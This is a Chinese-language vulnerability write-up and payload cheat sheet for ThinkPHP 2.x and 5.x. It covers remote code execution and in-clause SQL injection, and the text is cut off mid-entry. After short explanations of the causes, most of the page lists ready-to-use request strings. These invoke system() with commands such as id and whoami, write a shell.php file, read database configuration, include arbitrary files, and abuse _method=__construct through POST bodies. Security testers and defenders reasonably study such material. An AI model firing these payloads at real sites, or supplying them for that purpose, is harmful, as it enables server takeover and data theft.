ThinkPHP 2.x/5.0.x/5.1.x/5 in-sqlinjection 命令执行漏洞
基础知识
ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。
模块:thinkphp 所有的主入口文件默认访问index控制器
方法:thinkphp 所有的控制器默认执行index动作
构造:http://IP/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值…]
漏洞原理
ThinkPHP 2.x 任意代码执行漏洞:
就是在thinkphp的类似于MVC的框架中,存在一个Dispatcher.class.php的文件,它规定了如何解析路由,在该文件中,存在一个函数为static public function dispatch(),此为URL映射控制器,是为了将URL访问的路径映射到该控制器下获取资源的,而当我们输入的URL作为变量传入时,该URL映射控制器会将变量以数组的方式获取出来,从而导致漏洞的产生。
ThinkPHP <=5.0.23 远程代码执行漏洞:
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
ThinkPHP 5.0.20 远程代码执行漏洞:
由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
ThinkPHP5 in-sqlinjection:
控制了in语句的值位置,即可通过传入一个数组,来造成SQL注入漏洞。
涉及版本
ThinkPHP 2.x
ThinkPHP <=5.0.23
ThinkPHP =5.0.20
ThinkPHP5
漏洞payload梳理(ThinkPHP 5.0.0-5.0.23/5.1.* )
执行流程:发起请求->路由检测->获取pathinfo信息->路由匹配->路由解析->获得模块、控制器、操作方法调度信息->路由调度->解析模块和类名->组建命名空间>查找并加载类->实例化控制器并调用操作方法->构建响应对象->响应输出->日志保存->程序运行结束
漏洞原因:路由控制不严谨,默认不开启强制路由,从而可以任意调用Thinkphp的类库
漏洞思路:
1.因为Request类的method和__construct方法造成的RCE
2.因为Request类在兼容模式下获取的控制器没有进行合法校验导致的RCE
ThinkPHP 5.1.x :
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
ThinkPHP 5.0.x :
?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
还有一种:
http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami
ThinkPHP <= 5.0.13:
POST /?